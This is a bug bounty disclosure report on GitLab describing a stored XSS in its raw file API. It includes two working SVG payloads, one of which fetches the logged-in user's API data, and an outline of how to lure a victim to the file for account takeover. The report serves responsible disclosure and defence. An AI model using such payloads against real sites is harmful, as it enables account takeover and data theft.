XSS in file APIs give access to user X-CSRF-Token

HackerOne report #651335 by rpadovani on 2019-07-19, assigned to akelly:

Summary

Attacker can craft SVG files, reachable in a GET endpoint, that retrieves user X-CSRF-Token

Steps to reproduce

Attacker creates a project, and a SVG file like this (standard XSS injection):

<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
  <script type="text/javascript">  
     alert("surprise");  
  </script>  
</svg>  

This SVG doesn't do anything if accessed through the repository view (such as https://gitlab.com/rpadovani/test-gitlab-pages/raw/master/test.svg), but it triggers the alert if accessed through the raw APIs, such as https://gitlab.com/api/v4/projects/13337155/repository/files/test.svg/raw?ref=master (I can give access to the project, if needed).

This XSS doesn't give access to the user account, since the session cookie is httpOnly.

However, we can do fetch calls from this page to the APIs, and they will have success, meaning we have almost complete control over the account.
We can verify this trying fetching some more information about the user:

<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
  <script type="text/javascript">  
    fetch("/api/v4/user")  
        .then(res => res.json())  
        .then(j => alert(j["email"]))  
  </script>  
</svg>  

This file is called fetch.svg, and again accessing it from the API link, such as https://gitlab.com/api/v4/projects/13337155/repository/files/fetch.svg/raw?ref=master, triggers the script, returning information about user profile: this shows APIs call work.

I wasn't able to include the image directly in over a public place in gitlab.com, I think due CSP, but opening the image on the target browser would be quite simple, both leaving links to it, or doing a redirect from a website you control.

Impact

Being able to do any operation permitted by APIs on behalf of the user

Examples

I was able to reproduce both on Chrome and Firefox, I attach a video on Chrome, simulating a valid issue over a private project on Gitlab.com.

The project is private (of course) and is available at https://gitlab.com/rpadovani/test-gitlab-pages

I can give access to whoever needs it.

What is the current bug behavior?

This is a stored XSS which allows a complete account takeover

What is the expected correct behavior?

No XSS

Relevant logs and/or screenshots

See attached

Output of checks

This bug happens on GitLab.com

Impact

Any operation permitted through internal and public Gitlab APIs on behalf of victims

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • xss-2019-07-20_01.14.29.mp4
Edited Jan 30, 2020 by GitLab SecurityBot
Assignee Loading
Time tracking Loading